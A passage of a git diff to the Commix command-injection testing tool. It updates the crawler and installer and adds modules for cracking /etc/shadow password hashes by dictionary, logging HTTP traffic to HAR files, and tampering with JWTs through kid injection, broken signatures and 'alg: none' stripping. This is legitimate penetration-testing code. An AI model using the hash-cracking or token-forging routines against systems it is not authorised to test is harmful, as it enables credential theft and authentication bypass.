settings.DEFAULT_CRAWLING_DEPTH != 1: + return list(new_crawled_hrefs) + return list(crawled_hrefs) + return list("") + + except Exception: # for non-HTML files and non-valid links pass + """ The main crawler. """ -def crawler(url): - if not menu.options.sitemap_url: - if menu.options.crawldepth > 2: - err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." - print(settings.print_error_msg(err_msg)) - raise SystemExit() - info_msg = "Starting crawler and searching for " - info_msg += "links with depth " + str(menu.options.crawldepth) + "." - print(settings.print_info_msg(info_msg)) +def crawler(url, url_num, crawling_list, http_request_method): + init_global_vars() + if crawling_list > 1: + counter = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: - while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - # Change the crawling depth level. - if message in settings.CHOICE_YES: - while True: - question_msg = "Please enter the crawling depth level (1-2) > " - message = _input(settings.print_question_msg(question_msg)) - if len(message) == 0: - message = 1 - break - elif str(message) != "1" and str(message) != "2": - err_msg = "Depth level '" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + counter = "" + response = request(url, http_request_method) + if type(response) is not bool and response is not None: + if settings.SITEMAP_CHECK: + enable_crawler() + if settings.SITEMAP_CHECK is None: + check_sitemap() + if settings.SITEMAP_CHECK: + output_href = sitemap(url, http_request_method) + if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): + info_msg = "Starting crawler for target URL '" + url + "'" + counter + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + output_href = do_process(url, http_request_method) + if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: + settings.DEFAULT_CRAWLING_DEPTH = 1 + while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): + info_msg = "Searching for usable " + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.DEFAULT_CRAWLING_DEPTH == 2: + output_href = new_crawled_hrefs + elif settings.DEFAULT_CRAWLING_DEPTH > 2: + output_href = new_crawled_hrefs + crawled_hrefs + try: + [output_href.remove(x) for x in visited_hrefs if x in output_href] + except TypeError: pass - else: - menu.options.crawldepth = message - break + link = 0 + if output_href is not None: + for url in output_href: + if url not in visited_hrefs and url is not None: + link += 1 + settings.CRAWLED_URLS_NUM = link + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + visited_hrefs.append(url) + do_process(url, http_request_method) + info_msg = str(link) + info_msg += "/" + str(len(output_href)) + " links visited." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + if link != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.DEFAULT_CRAWLING_DEPTH += 1 - while True: - if not menu.options.sitemap_url: - if not menu.options.batch: - question_msg = "Do you want to check target for " - question_msg += "the existence of site's sitemap(.xml)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" - if message in settings.CHOICE_YES: - sitemap_check = True - break - elif message in settings.CHOICE_NO: - sitemap_check = False - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - sitemap_check = True - break - - if sitemap_check: - output_href = sitemap(url) - if output_href is None : - sitemap_check = False - - info_msg = "Checking " - if sitemap_check: - info_msg += "identified 'sitemap.xml' " - info_msg += "for usable links (with GET parameters). " - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if not sitemap_check: - output_href = do_process(url) - if menu.options.crawldepth > 1: - for url in output_href: - output_href = do_process(url) - if SKIPPED_URLS == 0: - print(settings.SINGLE_WHITESPACE) - - if not settings.VERBOSITY_LEVEL >= 2: - print("") - info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - filename = store_crawling() - valid_url_found = False - try: - url_num = 0 - valid_urls = [] - for check_url in output_href: - if re.search(r"(.*?)\?(.+)", check_url): - valid_url_found = True - url_num += 1 - print(settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(check_url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - return check_url - elif message in settings.CHOICE_NO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping '" + check_url + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - raise SystemExit() - except TypeError: - pass - if not valid_url_found: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + output_href = crawled_hrefs + no_usable_links(output_href) + return output_href -# eof \ No newline at end of file +# eof diff --git a/src/utils/crypt_algos.py b/src/utils/crypt_algos.py new file mode 100644 index 0000000000..c407390278 --- /dev/null +++ b/src/utils/crypt_algos.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from hashlib import md5, sha256, sha512 + +""" +Standalone (no third-party/system-crypt dependency) implementations of the '/etc/shadow' hash +formats '--passwords' actually meets in practice, so a dictionary attack against them works the +same on every platform Python runs on - the system 'crypt' module is deprecated, gone outright in +Python 3.13+, and even where present answers differently (or not at all) for these per libc. +""" + +ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + +# One recognizable format per shadow entry commix can actually try - paired with the hashcat '-m' +# mode a format it cannot try in pure Python would need instead (reference: hashcat.net/wiki, "example_hashes"). +FORMATS = ( + ("md5_crypt", r"\A\$1\$[^$]{1,8}\$[./0-9A-Za-z]+\Z", 500), + ("sha256_crypt", r"\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z", 7400), + ("sha512_crypt", r"\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z", 1800), + ("bcrypt", r"\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z", 3200), + ("yescrypt", r"\A\$y\$[./0-9A-Za-z]+\$[./0-9A-Za-z]+\$[./0-9A-Za-z]+\Z", None), + ("des_crypt", r"\A(?![0-9./A-Za-z]{0,12}\Z)[./0-9A-Za-z]{13}\Z", 1500), +) + +# Formats a plain dictionary attack here can actually try - the rest are recognized (so the user +# is told what they are and, where known, which hashcat mode suits them) but not brute-forced. +CRACKABLE = ("md5_crypt", "sha256_crypt", "sha512_crypt") + +""" +The format name '--passwords' recognizes a hash as, or None where it fits none of them. +""" +def recognize(hash_): + for name, regex, _ in FORMATS: + if re.match(regex, hash_): + return name + return None + +""" +The hashcat mode a recognized-but-uncrackable-here format would need, or None. +""" +def hashcat_mode(name): + for fmt_name, _, mode in FORMATS: + if fmt_name == name: + return mode + return None + +""" +MD5-crypt ('$1$') - the traditional glibc 'crypt(3)' extension. +Reference: https://www.freebsd.org/cgi/man.cgi?query=crypt&sektion=3 (historical Poul-Henning Kamp algorithm) +""" +def _md5_crypt(password, salt): + salt = salt[:8] + ctx = password + b"$1$" + salt + final = md5(password + salt + password).digest() + + pl = len(password) + while pl > 0: + ctx += final[:16] if pl > 16 else final[:pl] + pl -= 16 + + i = len(password) + while i: + ctx += b"\x00" if (i & 1) else password[0:1] + i >>= 1 + final = md5(ctx).digest() + + for i in range(1000): + ctx1 = password if (i & 1) else final[:16] + if i % 3: + ctx1 += salt + if i % 7: + ctx1 += password + ctx1 += final[:16] if (i & 1) else password + final = md5(ctx1).digest() + + def enc(value, count): + out = "" + for _ in range(count): + out += ITOA64[value & 0x3f] + value >>= 6 + return out + + digest = ( + enc((final[0] << 16) | (final[6] << 8) | final[12], 4) + + enc((final[1] << 16) | (final[7] << 8) | final[13], 4) + + enc((final[2] << 16) | (final[8] << 8) | final[14], 4) + + enc((final[3] << 16) | (final[9] << 8) | final[15], 4) + + enc((final[4] << 16) | (final[10] << 8) | final[5], 4) + + enc(final[11], 2) + ) + return "$1$" + salt.decode() + "$" + digest + +# SHA-crypt (Drepper) final-permutation byte order, for the 16/32/64-byte digests used below. +_SHA256_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +""" +SHA-256/512-crypt ('$5$'/'$6$') digest, per Drepper's public spec. +Reference: https://www.akkadia.org/drepper/SHA-crypt.txt +""" +def _sha_crypt_digest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if (i & 1) else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in range(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in range(16 + A[0]): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in range(rounds): + c = digestmod() + c.update(P if (i & 1) else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if (i & 1) else P) + C = c.digest() + + digest = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | C[idx] + for _ in range((len(group) * 8 + 5) // 6): + digest += ITOA64[value & 0x3f] + value >>= 6 + return digest + +def _sha2_crypt(password, salt_field, magic): + rounds, salt = 5000, salt_field + if salt.startswith("rounds="): + prefix, salt = salt.split("$", 1) + rounds = max(1000, min(999999999, int(prefix[len("rounds="):]))) + + digestmod, order = (sha256, _SHA256_ORDER) if magic == "$5$" else (sha512, _SHA512_ORDER) + digest = _sha_crypt_digest(password, salt.encode()[:16], rounds, digestmod, order) + return magic + salt_field + "$" + digest + +""" +Whether 'candidate' is the plaintext behind 'hash_' - the one entry point the dictionary attack +calls, parsing out whichever salt/rounds the hash's own format carries rather than asking the +caller to. Returns False for a hash in CRACKABLE but malformed, and for one recognize() has no +format for at all. +""" +def crack_candidate(hash_, candidate): + candidate = candidate.encode("utf-8", "replace") + try: + if hash_.startswith("$1$"): + _, _, salt, _ = hash_.split("$", 3) + return _md5_crypt(candidate, salt.encode()) == hash_ + if hash_.startswith(("$5$", "$6$")): + magic = hash_[:3] + salt_field = hash_[3:hash_.rindex("$")] + return _sha2_crypt(candidate, salt_field, magic) == hash_ + except (ValueError, IndexError, UnicodeError): + return False + return False + +# eof diff --git a/src/utils/har.py b/src/utils/har.py new file mode 100644 index 0000000000..c4f68b1020 --- /dev/null +++ b/src/utils/har.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import json +import time +import base64 +import datetime +import threading + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +""" +The run's HTTP traffic, kept in the form every proxy and browser already reads. + +Reference: http://www.softwareishard.com/blog/har-12-spec/ + +What '-t' writes is meant to be read by a person, one request after another; this is the same +traffic as data, so that a request the run made can be replayed, filtered or diffed in the tools +the work is already being done in rather than read out of a transcript. +""" + +ENTRIES = [] +LOCK = threading.Lock() + +""" +Whether this run is collecting. +""" +def active(): + return bool(menu.options.har) + +""" +A header list in the shape the format asks for. +""" +def _headers(items): + # A header commix built from bytes is the bytes it will send, and str() of those is the way Python + # writes them down rather than what goes on the wire. + def _text(value): + if isinstance(value, bytes): + return value.decode(settings.DEFAULT_CODEC, errors="replace") + return str(value) + return [{"name": _text(name), "value": _text(value)} for name, value in items] + +""" +A body as text, or as base64 where it is not text at all. + +The format is JSON, so a body that does not decode has nowhere to go as text - an encoded copy +reproduces the request or the response, where a lossy decode of it would not. +""" +def _content(raw, mime): + content = {"mimeType": mime or "", "size": len(raw or b"")} + if not raw: + content["text"] = "" + return content + if not isinstance(raw, bytes): + content["text"] = raw + return content + try: + content["text"] = raw.decode(settings.DEFAULT_CODEC) + except (UnicodeDecodeError, LookupError): + content["encoding"] = "base64" + content["text"] = base64.b64encode(raw).decode("ascii") + return content + +""" +Record one request and the response it was answered with. + +The request is read off the object that was sent rather than off the wire, so the two headers the +client fills in for itself are put back here - they are the ones a replay needs and the only ones +that would otherwise be missing. +""" +def collect(request, code, status, response_headers, body, started, ended, raw_body=None): + if not active(): + return + try: + url = request.get_full_url() + headers = list(request.header_items()) + if not any(name.lower() == "host" for name, _ in headers): + headers.append(("Host", _urllib.parse.urlsplit(url).netloc)) + data = request.data + if data is not None and not any(name.lower() == "content-length" for name, _ in headers): + headers.append(("Content-Length", str(len(data)))) + query = [{"name": name, "value": value} + for name, value in _urllib.parse.parse_qsl(_urllib.parse.urlsplit(url).query, keep_blank_values=True)] + entry = { + # With the offset it was taken at: a bare local timestamp is read as whichever zone whatever + # opens the file happens to assume, which moves every entry in it by the difference. + "startedDateTime": datetime.datetime.fromtimestamp(started).isoformat() + time.strftime("%z"), + "time": int(1000 * (ended - started)), + "request": { + "method": request.get_method(), + "url": url, + "httpVersion": "HTTP/1.0" if menu.options.http10 else "HTTP/1.1", + "headers": _headers(headers), + "queryString": query, + "cookies": [], + "headersSize": -1, + "bodySize": len(data) if data is not None else 0, + }, + "response": { + "status": int(code) if str(code).isdigit() else 0, + "statusText": str(status or ""), + "httpVersion": "HTTP/1.1", + "headers": _headers(response_headers.items() if response_headers else []), + "cookies": [], + "content": _content(body, response_headers.get("Content-Type") if response_headers else ""), + "redirectURL": "", + "headersSize": -1, + # What came off the wire, where the page above is what it was read back as - the two differ + # by whatever the response was compressed with, and the difference is what the file calls + # the saving. + "bodySize": len(raw_body if raw_body is not None else (body or b"")), + }, + "cache": {}, + "timings": {"send": -1, "wait": -1, "receive": -1}, + } + # Said rather than left to be worked out: a body read back longer than it arrived was + # compressed on the way, and the file has a field for how much that saved. + saved = entry["response"]["content"]["size"] - entry["response"]["bodySize"] + if saved > 0: + entry["response"]["content"]["compression"] = saved + if data is not None: + entry["request"]["postData"] = _content(data, request.get_header("Content-type", "")) + except Exception: + # A request that cannot be described is not a reason to stop making them. + return + with LOCK: + ENTRIES.append(entry) + +""" +Write out what was collected. +""" +def write(): + if not active(): + return + log = {"log": { + "version": "1.2", + "creator": {"name": settings.APPLICATION, "version": settings.VERSION}, + "entries": ENTRIES, + }} + try: + with open(menu.options.har, "w", encoding=settings.DEFAULT_CODEC) as output_file: + json.dump(log, output_file, indent=2, ensure_ascii=False) + except (OSError, IOError) as err_msg: + error_msg = "Unable to write the HAR file to '" + menu.options.har + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + return + info_msg = "HTTP traffic of " + str(len(ENTRIES)) + " request" + "s"[len(ENTRIES) == 1:] + info_msg += " logged to the HAR file '" + menu.options.har + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +# eof diff --git a/src/utils/install.py b/src/utils/install.py index 26e6b5c4bf..28cecc2299 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,159 +14,116 @@ """ import os -import sys -import platform import subprocess -from src.utils import menu +from src.utils import common from src.utils import settings -from src.utils import requirments -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init +from src.utils import requirements -""" -Make a local installation of 'commix' on your system. -""" - -""" -The un-installer. -""" -def uninstaller(): - info_msg = "Starting the uninstaller. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() +# Removal Function +def remove(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Removing existing installation and performing cleanup..." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: - subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - except: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - info_msg = "The un-installation of commix has finished!" - print(settings.print_bold_info_msg(info_msg)) - -""" -The installer. -""" + subprocess.call("rm -rf " + os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) + settings.NO_OUTPUT, shell=True) + subprocess.call("rm -rf " + os.path.join(settings.INSTALL_DIR, settings.APPLICATION) + settings.NO_OUTPUT, shell=True) + except Exception as e: + err_msg = "An error occurred while removing the application: " + str(e) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + info_msg = "Successfully removed " + settings.APPLICATION.capitalize() + " and all related components." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +# Abort for Unsupported Systems +def abort_unsupported(packages, dependencies): + err_msg = "This installer is designed specifically for Ubuntu and Debian-based Linux distributions. " + err_msg += "To proceed on other systems, install the required packages (i.e. " + packages + err_msg += ") and dependencies (i.e. " + dependencies + ") manually." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +# Installer Function def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" - - info_msg = "Starting the installer. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - # Check if OS is Linux. - if platform.system() == "Linux": - - # You need to have root privileges to run this script - if os.geteuid() != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "You need to have root privileges to run this option!" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Check if commix is already installed. - if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that " + settings.APPLICATION - warn_msg += " is already installed in your system." - print(settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "Do you want to remove commix? [Y/n] > " - uninstall = _input(settings.print_question_msg(question_msg)) - else: - uninstall = "" - if len(uninstall) == 0: - uninstall = "Y" - if uninstall in settings.CHOICE_YES: - uninstaller() - raise SystemExit() - elif uninstall in settings.CHOICE_NO or \ - uninstall in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + uninstall + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - # Check for git. - if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): - # Install requirement. - if os.path.isfile("/etc/apt/sources.list"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - # Check for dependencies. - dependencies_items = dependencies.split() - for item in dependencies_items: - requirments.do_check(item) - else: - print(settings.SINGLE_WHITESPACE) - err_msg = "The installer is not designed for any " - err_msg += "other Linux distro than Ubuntu / Debian. " - err_msg += "Please install manually: " + dependencies - print(Back.RED + err_msg + Style.RESET_ALL) - print(settings.SINGLE_WHITESPACE) + + info_msg = "Starting installation of " + settings.APPLICATION + " (" + settings.VERSION + ") on your system." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if settings.PLATFORM != "posix": + abort_unsupported(packages, dependencies) + + if not common.running_as_admin(): + err_msg = "This option requires administrative privileges to run." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + app_install_path = os.path.join(settings.INSTALL_DIR, settings.APPLICATION) + launcher_path = os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) + + if os.path.isdir(app_install_path): + warn_msg = "Detected an existing installation of " + settings.APPLICATION + "." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + + while True: + message = "Do you want to remove the current installation? [Y/n] " + user_input = common.read_input(message, default="Y", check_batch=True) + if user_input in settings.CHOICE_YES: + remove() raise SystemExit() - - # Force install of necessary packages - subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - - info_msg = "Installing " + settings.APPLICATION - info_msg += " into the /usr/share/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - try: - current_dir = os.getcwd() - subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() - except: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - - info_msg = "Installing " + settings.APPLICATION - info_msg += " to /usr/bin/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - try: - with open("/usr/bin/" + settings.APPLICATION, 'w') as f: - f.write('#!/bin/bash\n') - f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') - subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() - except: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - - #Create the Output Directory - try: - os.stat(settings.OUTPUT_DIR) - except: - try: - os.mkdir(settings.OUTPUT_DIR) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + elif user_input in settings.CHOICE_NO or user_input in settings.CHOICE_QUIT: raise SystemExit() + else: + common.invalid_option(user_input) + + if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): + if os.path.isfile("/etc/apt/sources.list"): + for dep in dependencies.split(): + requirements.do_check(dep) + else: + abort_unsupported(packages, dependencies) + + subprocess.call("apt-get --force-yes -y install " + packages + settings.NO_OUTPUT, shell=True) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Copying application files to '" + app_install_path + "'..." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - info_msg = "The installation is finished! Type '" - info_msg += settings.APPLICATION + "' to launch it." - print(settings.print_bold_info_msg(info_msg)) + try: + current_dir = os.getcwd() + subprocess.call("cp -r " + current_dir + " " + app_install_path + settings.NO_OUTPUT, shell=True) + subprocess.call("chmod 775 " + os.path.join(app_install_path, settings.APPLICATION + ".py") + settings.NO_OUTPUT, shell=True) + except Exception as e: + settings.print_data_to_stdout(settings.print_critical_msg(str(e))) + raise SystemExit(settings.EXIT_FAILURE) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Creating launcher script at '" + launcher_path + "'..." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + try: + with open(launcher_path, 'w') as f: + f.write("#!/bin/bash\n") + f.write("cd " + app_install_path + " && ./" + settings.APPLICATION + ".py \"$@\"" + settings.END_LINE.LF) + subprocess.call("chmod +x " + launcher_path + settings.NO_OUTPUT, shell=True) + except Exception as e: + err_msg = "Failed to create launcher: " + str(e) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + try: + if not os.path.exists(settings.OUTPUT_DIR): + os.mkdir(settings.OUTPUT_DIR) + except OSError as err_msg: + try: + error_msg = str(err_msg).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg) + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) - else : - print(settings.SINGLE_WHITESPACE) - err_msg = "The installer is not designed for any other system other than Linux. " - err_msg += "Please install manually: " + packages + dependencies - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + info_msg = "Completed the installation." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - # eof \ No newline at end of file +# eof diff --git a/src/utils/jwt_audit.py b/src/utils/jwt_audit.py new file mode 100644 index 0000000000..85f144ce11 --- /dev/null +++ b/src/utils/jwt_audit.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import json +import base64 + +""" +A JSON Web Token carried in a request is a parameter like any other - and a few of its fields are +read by the target before anything is authenticated at all, which is what makes them worth naming +here. 'kid' is the one that matters for this tool: it names which key to verify with, the target +looks that key up somewhere (a file, a row, a command), and a lookup built by concatenation is an +injection sink reached on every request. The audit itself is answered offline, from the token already +in the request; rebuilding one around a new 'kid' is the one thing here that writes a token out, and +it keeps the claims and the signature exactly as they arrived rather than signing anything. +""" + +# base64url(header).base64url(payload).base64url(signature) - a header always begins '{"', which +# encodes to the literal 'eyJ', so this finds a token embedded in a larger cookie or header value. +JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*" + +# Header fields that name where the verifying key is fetched from, rather than carrying it. Each is +# a documented way to point a target at key material it should not trust (CVE-2018-0114 and kin). +UNTRUSTED_KEY_SOURCE_FIELDS = ("jku", "x5u", "jwk", "x5c") + +# Severity to sort rank, so the report leads with what matters most. +SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "info": 3} + +# Findings that name something worth testing rather than something read off the token - reported as +# candidates, not as weaknesses already established. +CANDIDATES = ("alg-confusion", "kid-injection") + +""" +Decode one base64url segment, whatever padding it was written with. +""" +def _segment(value): + return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)) + +""" +Split a token into its decoded header and payload, or None where it is not a well-formed one. +""" +def parse(token): + if not token or token.count(".") != 2: + return None + header, payload, signature = token.split(".") + try: + header = json.loads(_segment(header)) + payload = json.loads(_segment(payload)) + except Exception: + return None + if not isinstance(header, dict): + return None + return {"header": header, "payload": payload, "signature": signature, "raw": token} + +""" +The same token with its 'kid' set to 'value' - the claims and the signature are left exactly as they +arrived, because this field is read to find the key before that signature is ever checked against it. +Nothing is re-signed here: where the target verifies first, the rebuilt token is simply refused. +""" +def rewrite_kid(token, value): + data = parse(token) + if not data: + return token + # Handed back untouched where the value is the one it already carries. A header is not written out + # the way every issuer wrote it - the spacing and the order of its fields are theirs - so rebuilding + # one that did not need rebuilding would answer with a token that differs from the one that arrived, + # and the caller reads that as a value which was never carried this way at all. + if str(data["header"].get("kid", "")) == str(value): + return token + header = dict(data["header"]) + header["kid"] = value + rebuilt = json.dumps(header, separators=(",", ":")).encode() + _, claims, signature = token.split(".") + return base64.urlsafe_b64encode(rebuilt).decode().rstrip("=") + "." + claims + "." + signature + +""" +The same token with its signature made into one no key could have produced, for asking the target +whether it reads the signature at all. The claims are untouched, so an answer that differs from the +real token's is the signature being checked, and nothing else. +""" +def break_signature(token): + data = parse(token) + if not data: + return token + header, claims, signature = token.split(".") + # Flipped rather than replaced wholesale, so it stays the length and alphabet of the real one. + flipped = "".join("A" if character != "A" else "B" for character in signature) + return header + "." + claims + "." + (flipped or "AAAA") + +""" +The same token rewritten to declare that it is unsigned, carrying the claims it already carried. +Nothing is signed here - the signature is dropped, which is what 'alg':'none' means. +""" +def strip_signature(token): + data = parse(token) + if not data: + return token + header = dict(data["header"]) + header["alg"] = "none" + rebuilt = json.dumps(header, separators=(",", ":")).encode() + return base64.urlsafe_b64encode(rebuilt).decode().rstrip("=") + "." + token.split(".")[1] + "." + +""" +Every well-formed token found inside an arbitrary value (a 'Cookie' or 'Authorization' header). +""" +def find(value): + return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parse(match.group(0))] + +""" +What is worth saying about a token, read from the token itself. Returns '(id, severity, summary, 